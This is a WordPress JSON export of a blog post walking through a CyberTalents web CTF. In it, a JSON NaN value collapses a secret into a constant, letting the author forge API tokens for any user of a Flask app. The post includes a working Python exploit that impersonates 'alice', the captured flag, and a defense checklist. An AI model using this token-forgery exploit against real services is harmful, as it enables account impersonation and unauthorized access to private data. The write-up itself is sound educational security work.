{"id":1404,"date":"2026-08-31T17:06:11","date_gmt":"2026-08-31T17:06:11","guid":{"rendered":"https:\/\/www.securesteps.tn\/?p=1404"},"modified":"2026-08-31T17:06:11","modified_gmt":"2026-08-31T17:06:11","slug":"socialpy-ctf-walkthrough","status":"publish","type":"post","link":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/","title":{"rendered":"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN"},"content":{"rendered":"<h1>SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN<\/h1>\n<p><strong>Platform:<\/strong> CyberTalents \u00b7 <strong>Category:<\/strong> Web \u00b7 <strong>Difficulty:<\/strong> Medium<br \/><strong>Goal:<\/strong> Read the flag from a private draft post by authenticating as another user.<\/p>\n<hr \/>\n<h2>Challenge<\/h2>\n<p>SocialPy is a fictional social network built with Flask. The flag lives in <strong>alice&#8217;s draft post<\/strong> (id 3, <em>&#8220;My draft thoughts&#8221;<\/em>):<\/p>\n<pre><code>This is a draft \u2013 only I can see it until I publish. Flag: {flag}\n<\/code><\/pre>\n<p>Draft access is enforced everywhere \u2014 the feed, profiles, comments, likes and <code>GET \/api\/posts\/&lt;id&gt;<\/code> all return <code>404<\/code> for drafts not owned by the requester. So the entire challenge reduces to one question: <strong>can we authenticate as alice?<\/strong><\/p>\n<h2>The auth surface<\/h2>\n<p>The app exposes three authentication mechanisms:<\/p>\n<ol>\n<li><strong>JWT (HS256)<\/strong> \u2014 signed with a secret we don&#8217;t know.<\/li>\n<li><strong>Session cookie<\/strong> \u2014 Flask <code>itsdangerous<\/code> HMAC-SHA1 over <code>{\"user_id\": N}<\/code>, signed with a random per-process <code>SECRET_KEY<\/code>.<\/li>\n<li><strong>Custom API token<\/strong> \u2014 the &#8220;integrate from anywhere&#8221; feature, and the interesting one.<\/li>\n<\/ol>\n<p>The API token is the only path that doesn&#8217;t require a session. Its format is:<\/p>\n<pre><code>hex(payload_json) + \".\" + sha256( f\"{inner}:{payload_json}\" )\n<\/code><\/pre>\n<p>where the signature input is computed as:<\/p>\n<pre><code>inner = (API_SECRET ^ user_secret) + user_id\n<\/code><\/pre>\n<p>The payload is attacker-controlled JSON: <code>{\"sub\": &lt;username&gt;, \"uid\": &lt;user_id&gt;, \"iat\": &lt;timestamp&gt;}<\/code>.<\/p>\n<p>Now look closely at the validation logic:<\/p>\n<pre><code>user = User.query.filter_by(username=username).first()   # identity from \"sub\"\nexpected_sig = _compute_signature(app_sec, user_sec, user_id, payload_str)\n<\/code><\/pre>\n<p><strong>The identity comes from <code>sub<\/code>, but <code>uid<\/code> \u2014 an attacker-supplied value \u2014 is folded into the signature computation.<\/strong> The server&#8217;s own <code>user_id<\/code> is never used. That split is the vulnerability.<\/p>\n<h2>The bug: NaN collapses the secret<\/h2>\n<p>Python&#8217;s <code>json.loads<\/code> (like most parsers) accepts the non-standard JSON literals <code>NaN<\/code>, <code>Infinity<\/code> and <code>-Infinity<\/code>, producing <code>float('nan')<\/code> and <code>float('inf')<\/code>.<\/p>\n<p>The signature input is:<\/p>\n<pre><code>inner = (API_SECRET ^ user_secret) + uid\n<\/code><\/pre>\n<p>Here&#8217;s the IEEE-754 magic:<\/p>\n<ul>\n<li><code>anything + NaN = NaN<\/code><\/li>\n<li><code>anything + Infinity = Infinity<\/code><\/li>\n<\/ul>\n<p>So if we submit <code>\"uid\": NaN<\/code>, the <strong>unknown<\/strong> 1024-bit value <code>API_SECRET ^ user_secret<\/code> \u2014 the one secret we can never recover \u2014 collapses into a <strong>known constant<\/strong>. <code>f\"{inner}\"<\/code> becomes the fixed string <code>\"nan\"<\/code>:<\/p>\n<pre><code>sig = sha256((\"nan:\" + payload_str).encode()).hexdigest()\n<\/code><\/pre>\n<p>The server recomputes the exact same value, the signatures match, and <code>validate_api_token<\/code> returns the user named in <code>sub<\/code>. We can forge a valid token for <strong>any<\/strong> username \u2014 including alice.<\/p>\n<h2>Exploit<\/h2>\n<pre><code>import hashlib, json, time, requests\n\nBASE = \"http:\/\/&lt;target&gt;.cybertalentslabs.com\"\n\ndef forge(username):\n    payload = '{\"sub\":\"%s\",\"uid\":NaN,\"iat\":%d}' % (username, int(time.time()))\n    assert isinstance(json.loads(payload)[\"uid\"], float)   # NaN parses\n    sig = hashlib.sha256((\"nan:\" + payload).encode()).hexdigest()\n    return payload.encode().hex() + \".\" + sig\n\ntoken = forge(\"alice\")\nheaders = {\"Authorization\": \"Bearer \" + token}\n\nme = requests.get(BASE + \"\/api\/auth\/me\", headers=headers)\nprint(me.json())                      # alice's profile (id=1)\n\npost = requests.get(BASE + \"\/api\/posts\/3\", headers=headers)\nprint(post.json()[\"body\"])            # draft body containing the flag\n<\/code><\/pre>\n<p>Result: <code>\/api\/auth\/me<\/code> returns alice&#8217;s profile, and <code>GET \/api\/posts\/3<\/code> returns the draft:<\/p>\n<pre><code>Flag{QCFAZldjcFBZTnhzT3p0UFZpSURaZndTbEVSQWRlT2RraEIxbDlCcUpGNXQ4RT02MmY4ZDkyMGJlNWM3NjFk}\n<\/code><\/pre>\n<h2>Why this worked (the real lesson)<\/h2>\n<p>The core flaw is <strong>mixing attacker-controlled data into a MAC without constraining its type<\/strong>. Three independent mistakes made it exploitable:<\/p>\n<ol>\n<li><strong>Identity vs. signature input mismatch<\/strong> \u2014 <code>sub<\/code> determines <em>who<\/em> you are, but <code>uid<\/code> (also client-supplied) participates in the signature. The server should compute the signature over its own authoritative <code>user.id<\/code> from the database, never from the request.<\/li>\n<li><strong>Lenient JSON parsing<\/strong> \u2014 <code>NaN<\/code>\/<code>Infinity<\/code> are not valid JSON, but Python accepts them. A strict parser (or <code>parse_constant=...<\/code> raising) would have turned the payload into a hard <code>400<\/code>.<\/li>\n<li><strong>Unvalidated arithmetic input<\/strong> \u2014 even a legitimately-parsed integer <code>uid<\/code> is dangerous in this design; the safe pattern is to never let the client influence a value that is added to a secret.<\/li>\n<\/ol>\n<p><strong>Defense checklist for API token \/ MAC designs:<\/strong><\/p>\n<ul>\n<li>Derive <em>all<\/em> identity and signing inputs from server-side records.<\/li>\n<li>Validate field types strictly (reject non-integer <code>uid<\/code>, reject non-string <code>sub<\/code>).<\/li>\n<li>Use <code>json.loads(..., parse_constant=lambda x: _raise())<\/code> or a strict parser.<\/li>\n<li>Prefer HMAC over plain <code>sha256(secret_material + data)<\/code> constructions, and never concatenate attacker bytes adjacent to secrets without length separation.<\/li>\n<\/ul>\n<h2>Files<\/h2>\n<ul>\n<li><code>exploit_nan.py<\/code> \u2014 the working exploit (forged alice token)<\/li>\n<li><code>local_exp.py<\/code> \/ <code>local_jwt_test.py<\/code> \u2014 local replicas used to confirm the JWT quirk and the NaN collapse<\/li>\n<\/ul>\n<hr \/>\n<p><em>Writeup of a solved CyberTalents web challenge. All attack surface described here is part of the challenge&#8217;s intended vulnerable application.<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>How a NaN literal in JSON collapsed a 1024-bit signing secret into a known constant, letting us forge an API token and read alice&#8217;s private draft post (CyberTalents Web CTF).<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_joinchat":[],"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1404","post","type-post","status-publish","format-standard","hentry","category-webapplicationsecurity"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.1.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"How a NaN literal in JSON collapsed a 1024-bit signing secret into a known constant, letting us forge an API token and read alice&#039;s private draft post (CyberTalents Web CTF).\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Zied BELGHITH\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.1.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"ar_AR\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Secure Steps - Cybersecurity assessments, insights, and clear remediation.\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN - Secure Steps\" \/>\n\t\t<meta property=\"og:description\" content=\"How a NaN literal in JSON collapsed a 1024-bit signing secret into a known constant, letting us forge an API token and read alice&#039;s private draft post (CyberTalents Web CTF).\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2026-08-31T17:06:11+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2026-08-31T17:06:11+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary\" \/>\n\t\t<meta name=\"twitter:title\" content=\"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN - Secure Steps\" \/>\n\t\t<meta name=\"twitter:description\" content=\"How a NaN literal in JSON collapsed a 1024-bit signing secret into a known constant, letting us forge an API token and read alice&#039;s private draft post (CyberTalents Web CTF).\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/socialpy-ctf-walkthrough\\\/#blogposting\",\"name\":\"SocialPy CTF Walkthrough \\u2014 Forging an Authentication Token with NaN - Secure Steps\",\"headline\":\"SocialPy CTF Walkthrough \\u2014 Forging an Authentication Token with NaN\",\"author\":{\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/author\\\/zied_belhotmail-com\\\/#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/#organization\"},\"datePublished\":\"2026-08-31T17:06:11+00:00\",\"dateModified\":\"2026-08-31T17:06:11+00:00\",\"inLanguage\":\"ar\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/socialpy-ctf-walkthrough\\\/#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/socialpy-ctf-walkthrough\\\/#webpage\"},\"articleSection\":\"Web Application Security\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/socialpy-ctf-walkthrough\\\/#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/category\\\/webapplicationsecurity\\\/#listItem\",\"name\":\"Web Application Security\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/category\\\/webapplicationsecurity\\\/#listItem\",\"position\":2,\"name\":\"Web Application Security\",\"item\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/category\\\/webapplicationsecurity\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/socialpy-ctf-walkthrough\\\/#listItem\",\"name\":\"SocialPy CTF Walkthrough \\u2014 Forging an Authentication Token with NaN\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/socialpy-ctf-walkthrough\\\/#listItem\",\"position\":3,\"name\":\"SocialPy CTF Walkthrough \\u2014 Forging an Authentication Token with NaN\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/category\\\/webapplicationsecurity\\\/#listItem\",\"name\":\"Web Application Security\"}}]},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/#organization\",\"name\":\"securesteps.tn\",\"description\":\"Cybersecurity assessments, insights, and clear remediation.\",\"url\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/author\\\/zied_belhotmail-com\\\/#author\",\"url\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/author\\\/zied_belhotmail-com\\\/\",\"name\":\"Zied BELGHITH\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/socialpy-ctf-walkthrough\\\/#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/96c18e9fc52e08c45006f84f0408ced54b58a24c6b0f5677185df3b75650034d?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Zied BELGHITH\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/socialpy-ctf-walkthrough\\\/#webpage\",\"url\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/socialpy-ctf-walkthrough\\\/\",\"name\":\"SocialPy CTF Walkthrough \\u2014 Forging an Authentication Token with NaN - Secure Steps\",\"description\":\"How a NaN literal in JSON collapsed a 1024-bit signing secret into a known constant, letting us forge an API token and read alice's private draft post (CyberTalents Web CTF).\",\"inLanguage\":\"ar\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/socialpy-ctf-walkthrough\\\/#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/author\\\/zied_belhotmail-com\\\/#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/author\\\/zied_belhotmail-com\\\/#author\"},\"datePublished\":\"2026-08-31T17:06:11+00:00\",\"dateModified\":\"2026-08-31T17:06:11+00:00\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/#website\",\"url\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/\",\"name\":\"Secure Steps\",\"description\":\"Cybersecurity assessments, insights, and clear remediation.\",\"inLanguage\":\"ar\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.securesteps.tn\\\/ar\\\/#organization\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN - Secure Steps","description":"How a NaN literal in JSON collapsed a 1024-bit signing secret into a known constant, letting us forge an API token and read alice's private draft post (CyberTalents Web CTF).","canonical_url":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/#blogposting","name":"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN - Secure Steps","headline":"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN","author":{"@id":"https:\/\/www.securesteps.tn\/ar\/author\/zied_belhotmail-com\/#author"},"publisher":{"@id":"https:\/\/www.securesteps.tn\/ar\/#organization"},"datePublished":"2026-08-31T17:06:11+00:00","dateModified":"2026-08-31T17:06:11+00:00","inLanguage":"ar","mainEntityOfPage":{"@id":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/#webpage"},"isPartOf":{"@id":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/#webpage"},"articleSection":"Web Application Security"},{"@type":"BreadcrumbList","@id":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/www.securesteps.tn\/ar#listItem","position":1,"name":"Home","item":"https:\/\/www.securesteps.tn\/ar","nextItem":{"@type":"ListItem","@id":"https:\/\/www.securesteps.tn\/ar\/category\/webapplicationsecurity\/#listItem","name":"Web Application Security"}},{"@type":"ListItem","@id":"https:\/\/www.securesteps.tn\/ar\/category\/webapplicationsecurity\/#listItem","position":2,"name":"Web Application Security","item":"https:\/\/www.securesteps.tn\/ar\/category\/webapplicationsecurity\/","nextItem":{"@type":"ListItem","@id":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/#listItem","name":"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN"},"previousItem":{"@type":"ListItem","@id":"https:\/\/www.securesteps.tn\/ar#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/#listItem","position":3,"name":"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN","previousItem":{"@type":"ListItem","@id":"https:\/\/www.securesteps.tn\/ar\/category\/webapplicationsecurity\/#listItem","name":"Web Application Security"}}]},{"@type":"Organization","@id":"https:\/\/www.securesteps.tn\/ar\/#organization","name":"securesteps.tn","description":"Cybersecurity assessments, insights, and clear remediation.","url":"https:\/\/www.securesteps.tn\/ar\/"},{"@type":"Person","@id":"https:\/\/www.securesteps.tn\/ar\/author\/zied_belhotmail-com\/#author","url":"https:\/\/www.securesteps.tn\/ar\/author\/zied_belhotmail-com\/","name":"Zied BELGHITH","image":{"@type":"ImageObject","@id":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/96c18e9fc52e08c45006f84f0408ced54b58a24c6b0f5677185df3b75650034d?s=96&d=mm&r=g","width":96,"height":96,"caption":"Zied BELGHITH"}},{"@type":"WebPage","@id":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/#webpage","url":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/","name":"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN - Secure Steps","description":"How a NaN literal in JSON collapsed a 1024-bit signing secret into a known constant, letting us forge an API token and read alice's private draft post (CyberTalents Web CTF).","inLanguage":"ar","isPartOf":{"@id":"https:\/\/www.securesteps.tn\/ar\/#website"},"breadcrumb":{"@id":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/#breadcrumblist"},"author":{"@id":"https:\/\/www.securesteps.tn\/ar\/author\/zied_belhotmail-com\/#author"},"creator":{"@id":"https:\/\/www.securesteps.tn\/ar\/author\/zied_belhotmail-com\/#author"},"datePublished":"2026-08-31T17:06:11+00:00","dateModified":"2026-08-31T17:06:11+00:00"},{"@type":"WebSite","@id":"https:\/\/www.securesteps.tn\/ar\/#website","url":"https:\/\/www.securesteps.tn\/ar\/","name":"Secure Steps","description":"Cybersecurity assessments, insights, and clear remediation.","inLanguage":"ar","publisher":{"@id":"https:\/\/www.securesteps.tn\/ar\/#organization"}}]},"og:locale":"ar_AR","og:site_name":"Secure Steps - Cybersecurity assessments, insights, and clear remediation.","og:type":"article","og:title":"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN - Secure Steps","og:description":"How a NaN literal in JSON collapsed a 1024-bit signing secret into a known constant, letting us forge an API token and read alice's private draft post (CyberTalents Web CTF).","og:url":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/","article:published_time":"2026-08-31T17:06:11+00:00","article:modified_time":"2026-08-31T17:06:11+00:00","twitter:card":"summary","twitter:title":"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN - Secure Steps","twitter:description":"How a NaN literal in JSON collapsed a 1024-bit signing secret into a known constant, letting us forge an API token and read alice's private draft post (CyberTalents Web CTF)."},"aioseo_meta_data":{"post_id":"1404","title":null,"description":null,"keywords":null,"keyphrases":{"focus":[],"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":null,"created":"2026-08-29 02:20:32","updated":"2026-08-31 17:50:18","seo_analyzer_scan_date":null,"focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.securesteps.tn\/ar\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.securesteps.tn\/ar\/category\/webapplicationsecurity\/\" title=\"Web Application Security\">Web Application Security<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tSocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/www.securesteps.tn\/ar"},{"label":"Web Application Security","link":"https:\/\/www.securesteps.tn\/ar\/category\/webapplicationsecurity\/"},{"label":"SocialPy CTF Walkthrough \u2014 Forging an Authentication Token with NaN","link":"https:\/\/www.securesteps.tn\/ar\/socialpy-ctf-walkthrough\/"}],"_links":{"self":[{"href":"https:\/\/www.securesteps.tn\/ar\/wp-json\/wp\/v2\/posts\/1404","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.securesteps.tn\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.securesteps.tn\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.securesteps.tn\/ar\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.securesteps.tn\/ar\/wp-json\/wp\/v2\/comments?post=1404"}],"version-history":[{"count":1,"href":"https:\/\/www.securesteps.tn\/ar\/wp-json\/wp\/v2\/posts\/1404\/revisions"}],"predecessor-version":[{"id":1411,"href":"https:\/\/www.securesteps.tn\/ar\/wp-json\/wp\/v2\/posts\/1404\/revisions\/1411"}],"wp:attachment":[{"href":"https:\/\/www.securesteps.tn\/ar\/wp-json\/wp\/v2\/media?parent=1404"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.securesteps.tn\/ar\/wp-json\/wp\/v2\/categories?post=1404"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.securesteps.tn\/ar\/wp-json\/wp\/v2\/tags?post=1404"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}